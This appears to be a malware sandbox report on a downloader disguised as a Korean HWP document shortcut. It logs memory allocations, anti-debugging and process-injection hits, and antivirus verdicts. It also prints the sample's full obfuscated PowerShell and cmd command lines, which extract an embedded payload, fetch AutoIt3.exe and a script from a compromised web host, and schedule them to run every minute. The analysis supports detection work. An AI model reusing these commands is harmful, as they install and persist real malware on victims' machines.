allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\소명자료 목록.hwp.lnk
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline schtasks /delete /tn "NFHTmCb" /f
cmdline "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"&mkdir c:\VmulDna & attrib +h c:\VmulDna & cd /d c:\VmulDna & copy c:\windows\system32\curl.exe VmulDna.exe & VmulDna -k -o AutoIt3.exe https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & VmulDna -k -o NFHTmCb.au3 https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & s^ch^ta^sks /delete /tn "NFHTmCb" /f & s^ch^ta^sks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"
cmdline schtasks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline schtasks /delete /tn "NFHTmCb" /f
cmdline attrib +h c:\VmulDna
cmdline "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"&mkdir c:\VmulDna & attrib +h c:\VmulDna & cd /d c:\VmulDna & copy c:\windows\system32\curl.exe VmulDna.exe & VmulDna -k -o AutoIt3.exe https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & VmulDna -k -o NFHTmCb.au3 https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & s^ch^ta^sks /delete /tn "NFHTmCb" /f & s^ch^ta^sks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"
cmdline schtasks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"
cmdline C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"
cmdline C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
cmdline schtasks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"
Process injection Process 2644 resumed a thread in remote process 2748
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000330
suspend_count: 1
process_identifier: 2748
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Skyhigh BehavesLike.Trojan.hx
VIPRE Heur.BZC.YAX.Pantera.190.3006BFED
Arcabit Heur.BZC.YAX.Pantera.190.3006BFED [many]
Symantec CL.Downloader!gen20
ESET-NOD32 LNK/Agent.ADU
Avast Other:Malware-gen [Trj]
Kaspersky HEUR:Trojan-Downloader.WinLNK.Agent.gen
BitDefender Heur.BZC.YAX.Pantera.190.3006BFED
MicroWorld-eScan Heur.BZC.YAX.Pantera.190.3006BFED
Emsisoft Heur.BZC.YAX.Pantera.190.3006BFED (B)
DrWeb Trojan.Siggen29.994
TrendMicro HEUR_LNKEXEC.A
FireEye Heur.BZC.YAX.Pantera.190.3006BFED
Sophos Troj/LnkDrop-M
Ikarus Trojan.LNK.Agent
Google Detected
MAX malware (ai score=88)
Kingsoft Script.Troj.BigLnk.22142
ZoneAlarm HEUR:Trojan.WinLNK.Agent.gen
GData Heur.BZC.YAX.Pantera.190.32FA66A3
VBA32 Trojan.Link.Crafted
Zoner Probably Heur.LNKScript
SentinelOne Static AI - Suspicious LNK
AVG Other:Malware-gen [Trj]